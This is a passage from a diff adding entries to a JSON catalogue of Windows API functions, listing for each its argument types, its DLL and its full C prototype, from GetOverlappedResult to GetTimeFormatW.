"function_name": "GetOverlappedResult", + "arguments": [ + "HANDLE", + "LPOVERLAPPED", + "LPDWORD", + "BOOL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetOverlappedResult( HANDLE hFile, LPOVERLAPPED lpOverlapped, LPDWORD lpNumberOfBytesTransferred, BOOL bWait );" + }, + { + "function_name": "GetPaletteEntries", + "arguments": [ + "HPALETTE", + "UINT", + "UINT", + "LPPALETTEENTRY" + ], + "dll_name": "gdi32.dll", + "full_prototype": "UINT GetPaletteEntries(HPALETTE hpal, UINT iStartIndex,UINT nEntries, LPPALETTEENTRY lppe);" + }, + { + "function_name": "GetParent", + "arguments": [ + "HWND" + ], + "dll_name": "user32.dll", + "full_prototype": "HWND GetParent(HWND hWnd);" + }, + { + "function_name": "GetPath", + "arguments": [ + "HDC", + "LPPOINT", + "LPBYTE", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int GetPath(HDC hdc, LPPOINT lpPoints,LPBYTE lpTypes, int nSize);" + }, + { + "function_name": "GetPixel", + "arguments": [ + "HDC", + "int", + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "COLORREF GetPixel(HDC hdc,int nXPos,int nYPos);" + }, + { + "function_name": "GetPixelFormat", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int GetPixelFormat(HDC hdc);" + }, + { + "function_name": "GetPolyFillMode", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int GetPolyFillMode(HDC hdc);" + }, + { + "function_name": "GetPrinterA", + "arguments": [ + "HANDLE", + "DWORD", + "LPBYTE", + "DWORD", + "LPDWORD" + ], + "dll_name": "winspool.drv", + "full_prototype": "BOOL GetPrinterA( HANDLE hPrinter, DWORD Level, LPBYTE pPrinter, DWORD cbBuf, LPDWORD pcbNeeded );" + }, + { + "function_name": "GetPriorityClass", + "arguments": [ + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetPriorityClass( HANDLE hProcess );" + }, + { + "function_name": "GetPriorityClipboardFormat", + "arguments": [ + "UINT *", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "int GetPriorityClipboardFormat(UINT * paFormatPriorityList, int cFormats);" + }, + { + "function_name": "GetPrivateObjectSecurity", + "arguments": [ + "PSECURITY_DESCRIPTOR", + "SECURITY_INFORMATION", + "PSECURITY_DESCRIPTOR", + "DWORD", + "PDWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL GetPrivateObjectSecurity( PSECURITY_DESCRIPTOR ObjectDescriptor, SECURITY_INFORMATION SecurityInformation, PSECURITY_DESCRIPTOR ResultantDescriptor, DWORD DescriptorLength, PDWORD ReturnLength );" + }, + { + "function_name": "GetPrivateProfileIntA", + "arguments": [ + "LPCTSTR", + "LPCTSTR", + "INT", + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "UINT GetPrivateProfileIntA( LPCTSTR lpAppName, LPCTSTR lpKeyName, INT nDefault, LPCTSTR lpFileName );" + }, + { + "function_name": "GetPrivateProfileIntW", + "arguments": [ + "LPCWSTR", + "LPCWSTR", + "INT", + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "UINT GetPrivateProfileIntW(LPCWSTR lpAppName,LPCWSTR lpKeyName,INT nDefault,LPCWSTR lpFileName );" + }, + { + "function_name": "GetPrivateProfileSectionA", + "arguments": [ + "LPCTSTR", + "LPTSTR", + "DWORD", + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetPrivateProfileSectionA( LPCTSTR lpAppName, LPTSTR lpReturnedString, DWORD nSize, LPCTSTR lpFileName );" + }, + { + "function_name": "GetPrivateProfileSectionW", + "arguments": [ + "LPCWSTR", + "LPWSTR", + "DWORD", + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetPrivateProfileSectionW(LPCWSTR lpAppName,LPWSTR lpReturnedString,DWORD nSize,LPCWSTR lpFileName );" + }, + { + "function_name": "GetPrivateProfileSectionNamesA", + "arguments": [ + "LPTSTR", + "DWORD", + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetPrivateProfileSectionNamesA( LPTSTR lpszReturnBuffer, DWORD nSize, LPCTSTR lpFileName );" + }, + { + "function_name": "GetPrivateProfileSectionNamesW", + "arguments": [ + "LPWSTR", + "DWORD", + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetPrivateProfileSectionNamesW(LPWSTR lpszReturnBuffer,DWORD nSize,LPCWSTR lpFileName);" + }, + { + "function_name": "GetPrivateProfileStringA", + "arguments": [ + "LPCTSTR", + "LPCTSTR", + "LPCTSTR", + "LPTSTR", + "DWORD", + "LPCTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetPrivateProfileStringA( LPCTSTR lpAppName, LPCTSTR lpKeyName, LPCTSTR lpDefault, LPTSTR lpReturnedString, DWORD nSize, LPCTSTR lpFileName );" + }, + { + "function_name": "GetPrivateProfileStringW", + "arguments": [ + "LPCWSTR", + "LPCWSTR", + "LPCWSTR", + "LPWSTR", + "DWORD", + "LPCWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetPrivateProfileStringW(LPCWSTR lpAppName,LPCWSTR lpKeyName,LPCWSTR lpDefault,LPWSTR lpReturnedString,DWORD nSize,LPCWSTR lpFileName );" + }, + { + "function_name": "GetProcAddress", + "arguments": [ + "HMODULE", + "LPCSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "FARPROC GetProcAddress( HMODULE hModule, LPCSTR lpProcName );" + }, + { + "function_name": "GetProcessAffinityMask", + "arguments": [ + "HANDLE", + "LPDWORD", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetProcessAffinityMask( HANDLE hProcess, LPDWORD lpProcessAffinityMask, LPDWORD lpSystemAffinityMask );" + }, + { + "function_name": "GetProcessHeap", + "arguments": [ + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE GetProcessHeap(VOID);" + }, + { + "function_name": "GetProcessHeaps", + "arguments": [ + "DWORD", + "PHANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetProcessHeaps( DWORD NumberOfHeaps, PHANDLE ProcessHeaps );" + }, + { + "function_name": "GetProcessPriorityBoost", + "arguments": [ + "HANDLE", + "PBOOL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetProcessPriorityBoost(HANDLE hProcess,PBOOL pDisablePriorityBoost);" + }, + { + "function_name": "GetProcessShutdownParameters", + "arguments": [ + "LPDWORD", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetProcessShutdownParameters( LPDWORD lpdwLevel, LPDWORD lpdwFlags );" + }, + { + "function_name": "GetProcessTimes", + "arguments": [ + "HANDLE", + "LPFILETIME", + "LPFILETIME", + "LPFILETIME", + "LPFILETIME" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetProcessTimes( HANDLE hProcess, LPFILETIME lpCreationTime, LPFILETIME lpExitTime, LPFILETIME lpKernelTime, LPFILETIME lpUserTime );" + }, + { + "function_name": "GetProcessVersion", + "arguments": [ + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetProcessVersion( DWORD ProcessId );" + }, + { + "function_name": "GetProcessWindowStation", + "arguments": [ + "" + ], + "dll_name": "user32.dll", + "full_prototype": "HWINSTA GetProcessWindowStation(VOID);" + }, + { + "function_name": "GetProcessWorkingSetSize", + "arguments": [ + "HANDLE", + "LPDWORD", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetProcessWorkingSetSize( HANDLE hProcess, LPDWORD lpMinimumWorkingSetSize, LPDWORD lpMaximumWorkingSetSize );" + }, + { + "function_name": "GetProfileIntA", + "arguments": [ + "LPCTSTR", + "LPCTSTR", + "INT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "UINT GetProfileIntA( LPCTSTR lpAppName, LPCTSTR lpKeyName, INT nDefault );" + }, + { + "function_name": "GetProfileIntW", + "arguments": [ + "LPCWSTR", + "LPCWSTR", + "INT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "UINT GetProfileIntW(LPCWSTR lpAppName,LPCWSTR lpKeyName,INT nDefault );" + }, + { + "function_name": "GetProfileSectionA", + "arguments": [ + "LPCTSTR", + "LPTSTR", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetProfileSectionA( LPCTSTR lpAppName, LPTSTR lpReturnedString, DWORD nSize );" + }, + { + "function_name": "GetProfileSectionW", + "arguments": [ + "LPCWSTR", + "LPWSTR", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetProfileSectionW(LPCWSTR lpAppName,LPWSTR lpReturnedString,DWORD nSize );" + }, + { + "function_name": "GetProfileStringA", + "arguments": [ + "LPCTSTR", + "LPCTSTR", + "LPCTSTR", + "LPTSTR", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetProfileStringA( LPCTSTR lpAppName, LPCTSTR lpKeyName, LPCTSTR lpDefault, LPTSTR lpReturnedString, DWORD nSize );" + }, + { + "function_name": "GetProfileStringW", + "arguments": [ + "LPCWSTR", + "LPCWSTR", + "LPCWSTR", + "LPWSTR", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetProfileStringW(LPCWSTR lpAppName,LPCWSTR lpKeyName,LPCWSTR lpDefault,LPWSTR lpReturnedString,DWORD nSize );" + }, + { + "function_name": "GetPropA", + "arguments": [ + "HWND", + "LPCTSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "HANDLE GetPropA(HWND hWnd, LPCTSTR lpString);" + }, + { + "function_name": "GetPropW", + "arguments": [ + "HWND", + "LPCWSTR" + ], + "dll_name": "user32.dll", + "full_prototype": "HANDLE GetPropW(HWND hWnd, LPCWSTR lpString);" + }, + { + "function_name": "GetQueuedCompletionStatus", + "arguments": [ + "HANDLE", + "LPDWORD", + "LPDWORD", + "LPOVERLAPPED *", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetQueuedCompletionStatus( HANDLE CompletionPort, LPDWORD lpNumberOfBytesTransferred, LPDWORD lpCompletionKey, LPOVERLAPPED * lpOverlapped, DWORD dwMilliseconds );" + }, + { + "function_name": "GetQueueStatus", + "arguments": [ + "UINT" + ], + "dll_name": "user32.dll", + "full_prototype": "DWORD GetQueueStatus(UINT flags);" + }, + { + "function_name": "GetRasterizerCaps", + "arguments": [ + "LPRASTERIZER_STATUS", + "UINT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetRasterizerCaps(LPRASTERIZER_STATUS lprs, UINT cb);" + }, + { + "function_name": "GetRegionData", + "arguments": [ + "HRGN", + "DWORD", + "LPRGNDATA" + ], + "dll_name": "gdi32.dll", + "full_prototype": "DWORD GetRegionData(HRGN hRgn,DWORD dwCount, LPRGNDATA lpRgnData);" + }, + { + "function_name": "GetRgnBox", + "arguments": [ + "HRGN", + "LPRECT" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int GetRgnBox(HRGN hrgn, LPRECT lprc);" + }, + { + "function_name": "GetROP2", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int GetROP2(HDC hdc);" + }, + { + "function_name": "GetScrollInfo", + "arguments": [ + "HWND", + "int", + "LPSCROLLINFO" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL GetScrollInfo(HWND hwnd,int fnBar, LPSCROLLINFO lpsi);" + }, + { + "function_name": "GetScrollPos", + "arguments": [ + "HWND", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "int GetScrollPos(HWND hWnd, int nBar);" + }, + { + "function_name": "GetScrollRange", + "arguments": [ + "HWND", + "int", + "LPINT", + "LPINT" + ], + "dll_name": "user32.dll", + "full_prototype": "BOOL GetScrollRange(HWND hWnd, int nBar, LPINT lpMinPos, LPINT lpMaxPos);" + }, + { + "function_name": "GetSecurityDescriptorControl", + "arguments": [ + "PSECURITY_DESCRIPTOR", + "PSECURITY_DESCRIPTOR_CONTROL", + "LPDWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL GetSecurityDescriptorControl( PSECURITY_DESCRIPTOR pSecurityDescriptor, PSECURITY_DESCRIPTOR_CONTROL pControl, LPDWORD lpdwRevision );" + }, + { + "function_name": "GetSecurityDescriptorDacl", + "arguments": [ + "PSECURITY_DESCRIPTOR", + "LPBOOL", + "PACL", + "LPBOOL" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL GetSecurityDescriptorDacl( PSECURITY_DESCRIPTOR pSecurityDescriptor, LPBOOL lpbDaclPresent, PACL *pDacl, LPBOOL lpbDaclDefaulted );" + }, + { + "function_name": "GetSecurityDescriptorGroup", + "arguments": [ + "PSECURITY_DESCRIPTOR", + "PSID *", + "LPBOOL" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL GetSecurityDescriptorGroup( PSECURITY_DESCRIPTOR pSecurityDescriptor, PSID * pGroup, LPBOOL lpbGroupDefaulted );" + }, + { + "function_name": "GetSecurityDescriptorLength", + "arguments": [ + "PSECURITY_DESCRIPTOR" + ], + "dll_name": "advapi32.dll", + "full_prototype": "DWORD GetSecurityDescriptorLength( PSECURITY_DESCRIPTOR pSecurityDescriptor );" + }, + { + "function_name": "GetSecurityDescriptorOwner", + "arguments": [ + "PSECURITY_DESCRIPTOR", + "PSID *", + "LPBOOL" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL GetSecurityDescriptorOwner( PSECURITY_DESCRIPTOR pSecurityDescriptor, PSID * pOwner, LPBOOL lpbOwnerDefaulted );" + }, + { + "function_name": "GetSecurityDescriptorSacl", + "arguments": [ + "PSECURITY_DESCRIPTOR", + "LPBOOL", + "PACL", + "LPBOOL" + ], + "dll_name": "advapi32.dll", + "full_prototype": "BOOL GetSecurityDescriptorSacl( PSECURITY_DESCRIPTOR pSecurityDescriptor, LPBOOL lpbSaclPresent, PACL *pSacl, LPBOOL lpbSaclDefaulted );" + }, + { + "function_name": "GetShortPathNameA", + "arguments": [ + "LPCTSTR", + "LPTSTR", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetShortPathNameA( LPCTSTR lpszLongPath, LPTSTR lpszShortPath, DWORD cchBuffer );" + }, + { + "function_name": "GetShortPathNameW", + "arguments": [ + "LPCWSTR", + "LPWSTR", + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetShortPathNameW(LPCWSTR lpszLongPath,LPWSTR lpszShortPath,DWORD cchBuffer );" + }, + { + "function_name": "GetSidIdentifierAuthority", + "arguments": [ + "PSID" + ], + "dll_name": "advapi32.dll", + "full_prototype": "PSID_IDENTIFIER_AUTHORITY GetSidIdentifierAuthority( PSID pSid );" + }, + { + "function_name": "GetSidLengthRequired", + "arguments": [ + "UCHAR" + ], + "dll_name": "advapi32.dll", + "full_prototype": "DWORD GetSidLengthRequired( UCHAR nSubAuthorityCount );" + }, + { + "function_name": "GetSidSubAuthority", + "arguments": [ + "PSID", + "DWORD" + ], + "dll_name": "advapi32.dll", + "full_prototype": "PDWORD GetSidSubAuthority( PSID pSid, DWORD nSubAuthority );" + }, + { + "function_name": "GetSidSubAuthorityCount", + "arguments": [ + "PSID" + ], + "dll_name": "advapi32.dll", + "full_prototype": "PUCHAR GetSidSubAuthorityCount( PSID pSid );" + }, + { + "function_name": "GetStartupInfoA", + "arguments": [ + "LPSTARTUPINFO" + ], + "dll_name": "kernel32.dll", + "full_prototype": "VOID GetStartupInfoA( LPSTARTUPINFO lpStartupInfo );" + }, + { + "function_name": "GetStartupInfoW", + "arguments": [ + "LPSTARTUPINFOW" + ], + "dll_name": "kernel32.dll", + "full_prototype": "VOID GetStartupInfoW(LPSTARTUPINFOW lpStartupInfo );" + }, + { + "function_name": "GetStdHandle", + "arguments": [ + "DWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "HANDLE GetStdHandle(DWORD nStdHandle);" + }, + { + "function_name": "GetStockObject", + "arguments": [ + "int" + ], + "dll_name": "gdi32.dll", + "full_prototype": "HGDIOBJ GetStockObject(int fnObject);" + }, + { + "function_name": "GetStretchBltMode", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int GetStretchBltMode(HDC hdc);" + }, + { + "function_name": "GetStringTypeA", + "arguments": [ + "LCID", + "DWORD", + "LPCSTR", + "int", + "LPWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetStringTypeA( LCID Locale, DWORD dwInfoType, LPCSTR lpSrcStr, int cchSrc, LPWORD lpCharType );" + }, + { + "function_name": "GetStringTypeExA", + "arguments": [ + "LCID", + "DWORD", + "LPCTSTR", + "int", + "LPWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetStringTypeExA( LCID Locale, DWORD dwInfoType, LPCTSTR lpSrcStr, int cchSrc, LPWORD lpCharType );" + }, + { + "function_name": "GetStringTypeExW", + "arguments": [ + "LCID", + "DWORD", + "LPCWSTR", + "INT", + "LPWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetStringTypeExW( LCID locale, DWORD type, LPCWSTR src, INT count, LPWORD chartype );" + }, + { + "function_name": "GetStringTypeW", + "arguments": [ + "DWORD", + "LPCWSTR", + "INT", + "LPWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetStringTypeW( DWORD type, LPCWSTR src, INT count, LPWORD chartype );" + }, + { + "function_name": "GetSubMenu", + "arguments": [ + "HMENU", + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "HMENU GetSubMenu(HMENU hMenu, int nPos);" + }, + { + "function_name": "GetSysColor", + "arguments": [ + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "DWORD GetSysColor(int nIndex);" + }, + { + "function_name": "GetSysColorBrush", + "arguments": [ + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "HBRUSH GetSysColorBrush(int nIndex);" + }, + { + "function_name": "GetSystemDefaultLCID", + "arguments": [ + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LCID GetSystemDefaultLCID(VOID);" + }, + { + "function_name": "GetSystemDefaultLangID", + "arguments": [ + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LANGID GetSystemDefaultLangID(VOID);" + }, + { + "function_name": "GetSystemDirectoryA", + "arguments": [ + "LPTSTR", + "UINT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "UINT GetSystemDirectoryA(LPTSTR lpBuffer,UINT uSize);" + }, + { + "function_name": "GetSystemDirectoryW", + "arguments": [ + "LPWSTR", + "UINT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "UINT GetSystemDirectoryW(LPWSTR lpBuffer, UINT uSize);" + }, + { + "function_name": "GetSystemInfo", + "arguments": [ + "LPSYSTEM_INFO" + ], + "dll_name": "kernel32.dll", + "full_prototype": "VOID GetSystemInfo(LPSYSTEM_INFO lpSystemInfo);" + }, + { + "function_name": "GetSystemMenu", + "arguments": [ + "HWND", + "BOOL" + ], + "dll_name": "user32.dll", + "full_prototype": "HMENU GetSystemMenu(HWND hWnd,BOOL bRevert);" + }, + { + "function_name": "GetSystemMetrics", + "arguments": [ + "int" + ], + "dll_name": "user32.dll", + "full_prototype": "int GetSystemMetrics(int nIndex);" + }, + { + "function_name": "GetSystemPaletteEntries", + "arguments": [ + "HDC", + "UINT", + "UINT", + "LPPALETTEENTRY" + ], + "dll_name": "gdi32.dll", + "full_prototype": "UINT GetSystemPaletteEntries(HDC hdc, UINT iStartIndex, UINT nEntries, LPPALETTEENTRY lppe);" + }, + { + "function_name": "GetSystemPaletteUse", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "UINT GetSystemPaletteUse(HDC hdc);" + }, + { + "function_name": "GetSystemPowerStatus", + "arguments": [ + "LPSYSTEM_POWER_STATUS" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetSystemPowerStatus(LPSYSTEM_POWER_STATUS lpSystemPowerStatus);" + }, + { + "function_name": "GetSystemTime", + "arguments": [ + "LPSYSTEMTIME" + ], + "dll_name": "kernel32.dll", + "full_prototype": "VOID GetSystemTime(LPSYSTEMTIME lpSystemTime);" + }, + { + "function_name": "GetSystemTimeAsFileTime", + "arguments": [ + "LPFILETIME" + ], + "dll_name": "kernel32.dll", + "full_prototype": "VOID GetSystemTimeAsFileTime(LPFILETIME lpSystemTimeAsFileTime);" + }, + { + "function_name": "GetSystemTimeAdjustment", + "arguments": [ + "PDWORD", + "PDWORD", + "PBOOL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetSystemTimeAdjustment( PDWORD lpTimeAdjustment, PDWORD lpTimeIncrement, PBOOL lpTimeAdjustmentDisabled );" + }, + { + "function_name": "GetTabbedTextExtentA", + "arguments": [ + "HDC", + "LPCTSTR", + "int", + "int", + "LPINT" + ], + "dll_name": "user32.dll", + "full_prototype": "DWORD GetTabbedTextExtentA(HDC hDC, LPCTSTR lpString, int nCount, int nTabPositions, LPINT lpnTabStopPositions);" + }, + { + "function_name": "GetTabbedTextExtentW", + "arguments": [ + "HDC", + "LPCWSTR", + "int", + "int", + "LPINT" + ], + "dll_name": "user32.dll", + "full_prototype": "DWORD GetTabbedTextExtentW(HDC hDC, LPCWSTR lpString, int nCount, int nTabPositions, LPINT lpnTabStopPositions);" + }, + { + "function_name": "GetTapeParameters", + "arguments": [ + "HANDLE", + "DWORD", + "LPDWORD", + "LPVOID" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetTapeParameters( HANDLE hDevice, DWORD dwOperation, LPDWORD lpdwSize, LPVOID lpTapeInformation );" + }, + { + "function_name": "GetTapePosition", + "arguments": [ + "HANDLE", + "DWORD", + "LPDWORD", + "LPDWORD", + "LPDWORD" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetTapePosition( HANDLE hDevice, DWORD dwPositionType, LPDWORD lpdwPartition, LPDWORD lpdwOffsetLow, LPDWORD lpdwOffsetHigh );" + }, + { + "function_name": "GetTapeStatus", + "arguments": [ + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetTapeStatus(HANDLE hDevice);" + }, + { + "function_name": "GetTcpStatistics", + "arguments": [ + "PMIB_TCPSTATS" + ], + "dll_name": "iphlpapi.dll", + "full_prototype": "DWORD GetTcpStatistics(PMIB_TCPSTATS pStats);" + }, + { + "function_name": "GetTempFileNameA", + "arguments": [ + "LPCTSTR", + "LPCTSTR", + "UINT", + "LPTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "UINT GetTempFileNameA(LPCTSTR lpPathName, LPCTSTR lpPrefixString, UINT uUnique, LPTSTR lpTempFileName);" + }, + { + "function_name": "GetTempFileNameW", + "arguments": [ + "LPCWSTR", + "LPCWSTR", + "UINT", + "LPWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "UINT GetTempFileNameW( LPCWSTR lpPathName, LPCWSTR lpPrefixString, UINT unique, LPWSTR lpTempFileName );" + }, + { + "function_name": "GetTempPathA", + "arguments": [ + "DWORD", + "LPTSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetTempPathA(DWORD nBufferLength,LPTSTR lpBuffer);" + }, + { + "function_name": "GetTempPathW", + "arguments": [ + "DWORD", + "LPWSTR" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetTempPathW(DWORD nBufferLength,LPWSTR lpBuffer);" + }, + { + "function_name": "GetTextAlign", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "UINT GetTextAlign(HDC hdc);" + }, + { + "function_name": "GetTextCharacterExtra", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int GetTextCharacterExtra(HDC hdc);" + }, + { + "function_name": "GetTextCharset", + "arguments": [ + "HDC", + "LPFONTSIGNATURE *", + "DWORD" + ], + "dll_name": "gdi32.dll", + "full_prototype": "UINT GetTextCharsetInfo(HDC hdc, LPFONTSIGNATURE * lpSig, DWORD dwFlags);" + }, + { + "function_name": "GetTextCharsetInfo", + "arguments": [ + "HDC", + "LPFONTSIGNATURE *", + "DWORD" + ], + "dll_name": "gdi32.dll", + "full_prototype": "UINT GetTextCharsetInfo(HDC hdc, LPFONTSIGNATURE * lpSig, DWORD dwFlags);" + }, + { + "function_name": "GetTextColor", + "arguments": [ + "HDC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "COLORREF GetTextColor(HDC hdc);" + }, + { + "function_name": "GetTextExtentExPointA", + "arguments": [ + "HDC", + "LPCTSTR", + "int", + "int", + "LPINT", + "LPINT", + "LPSIZE" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetTextExtentExPointA(HDC hdc, LPCTSTR lpszStr, int cchString, int nMaxExtent, LPINT lpnFit, LPINT alpDx,LPSIZE lpSize);" + }, + { + "function_name": "GetTextExtentExPointW", + "arguments": [ + "HDC", + "LPCWSTR", + "int", + "int", + "LPINT", + "LPINT", + "LPSIZE" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetTextExtentExPointW(HDC hdc, LPCWSTR lpszStr, int cchString, int nMaxExtent, LPINT lpnFit, LPINT alpDx,LPSIZE lpSize);" + }, + { + "function_name": "GetTextExtentPoint32A", + "arguments": [ + "HDC", + "LPCTSTR", + "int", + "LPSIZE" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetTextExtentPoint32A(HDC hdc, LPCTSTR lpString, int cbString, LPSIZE lpSize);" + }, + { + "function_name": "GetTextExtentPoint32W", + "arguments": [ + "HDC", + "LPCWSTR", + "INT", + "LPSIZE" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetTextExtentPoint32W(HDC hdc, LPCWSTR str, INT count, LPSIZE size);" + }, + { + "function_name": "GetTextExtentPointA", + "arguments": [ + "HDC", + "LPCTSTR", + "int", + "LPSIZE" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetTextExtentPointA(HDC hdc, LPCTSTR lpString, int cbString, LPSIZE lpSize);" + }, + { + "function_name": "GetTextExtentPointW", + "arguments": [ + "HDC", + "LPCWSTR", + "int", + "LPSIZE" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetTextExtentPointW(HDC hdc, LPCWSTR lpString, int cbString, LPSIZE lpSize);" + }, + { + "function_name": "GetTextFaceA", + "arguments": [ + "HDC", + "int", + "LPTSTR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int GetTextFaceA(HDC hdc, int nCount, LPTSTR lpFaceName);" + }, + { + "function_name": "GetTextFaceW", + "arguments": [ + "HDC", + "int", + "LPWSTR" + ], + "dll_name": "gdi32.dll", + "full_prototype": "int GetTextFaceW(HDC hdc, int nCount, LPWSTR lpFaceName);" + }, + { + "function_name": "GetTextMetricsA", + "arguments": [ + "HDC", + "LPTEXTMETRIC" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetTextMetricsA(HDC hdc, LPTEXTMETRIC lptm);" + }, + { + "function_name": "GetTextMetricsW", + "arguments": [ + "HDC", + "LPTEXTMETRICW" + ], + "dll_name": "gdi32.dll", + "full_prototype": "BOOL GetTextMetricsW(HDC hdc, LPTEXTMETRICW lptm);" + }, + { + "function_name": "GetThreadContext", + "arguments": [ + "HANDLE", + "LPCONTEXT" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetThreadContext( HANDLE hThread, LPCONTEXT lpContext );" + }, + { + "function_name": "GetThreadDesktop", + "arguments": [ + "DWORD" + ], + "dll_name": "user32.dll", + "full_prototype": "HDESK GetThreadDesktop(DWORD dwThreadId);" + }, + { + "function_name": "GetThreadLocale", + "arguments": [ + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "LCID GetThreadLocale(VOID);" + }, + { + "function_name": "GetThreadPriority", + "arguments": [ + "HANDLE" + ], + "dll_name": "kernel32.dll", + "full_prototype": "int GetThreadPriority(HANDLE hThread);" + }, + { + "function_name": "GetThreadPriorityBoost", + "arguments": [ + "HANDLE", + "PBOOL" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetThreadPriorityBoost(HANDLE hthread, PBOOL pstate);" + }, + { + "function_name": "GetThreadSelectorEntry", + "arguments": [ + "HANDLE", + "DWORD", + "LPLDT_ENTRY" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetThreadSelectorEntry( HANDLE hThread, DWORD dwSelector, LPLDT_ENTRY lpSelectorEntry );" + }, + { + "function_name": "GetThreadTimes", + "arguments": [ + "HANDLE", + "LPFILETIME", + "LPFILETIME", + "LPFILETIME", + "LPFILETIME" + ], + "dll_name": "kernel32.dll", + "full_prototype": "BOOL GetThreadTimes( HANDLE hThread, LPFILETIME lpCreationTime, LPFILETIME lpExitTime, LPFILETIME lpKernelTime, LPFILETIME lpUserTime );" + }, + { + "function_name": "GetTickCount", + "arguments": [ + "" + ], + "dll_name": "kernel32.dll", + "full_prototype": "DWORD GetTickCount(VOID);" + }, + { + "function_name": "GetTimeFormatA", + "arguments": [ + "LCID", + "DWORD", + "CONST SYSTEMTIME *", + "LPCTSTR", + "LPTSTR", + "int" + ], + "dll_name": "kernel32.dll", + "full_prototype": "int GetTimeFormatA( LCID Locale, DWORD dwFlags, CONST SYSTEMTIME * lpTime, LPCTSTR lpFormat, LPTSTR lpTimeStr, int cchTime );" + }, + { + "function_name": "GetTimeFormatW", + "arguments": [ + "LCID", + "DWORD", + "const SYSTEMTIME*", + "LPCWSTR", + "LPWSTR", + "int" + ], + "dll_name": 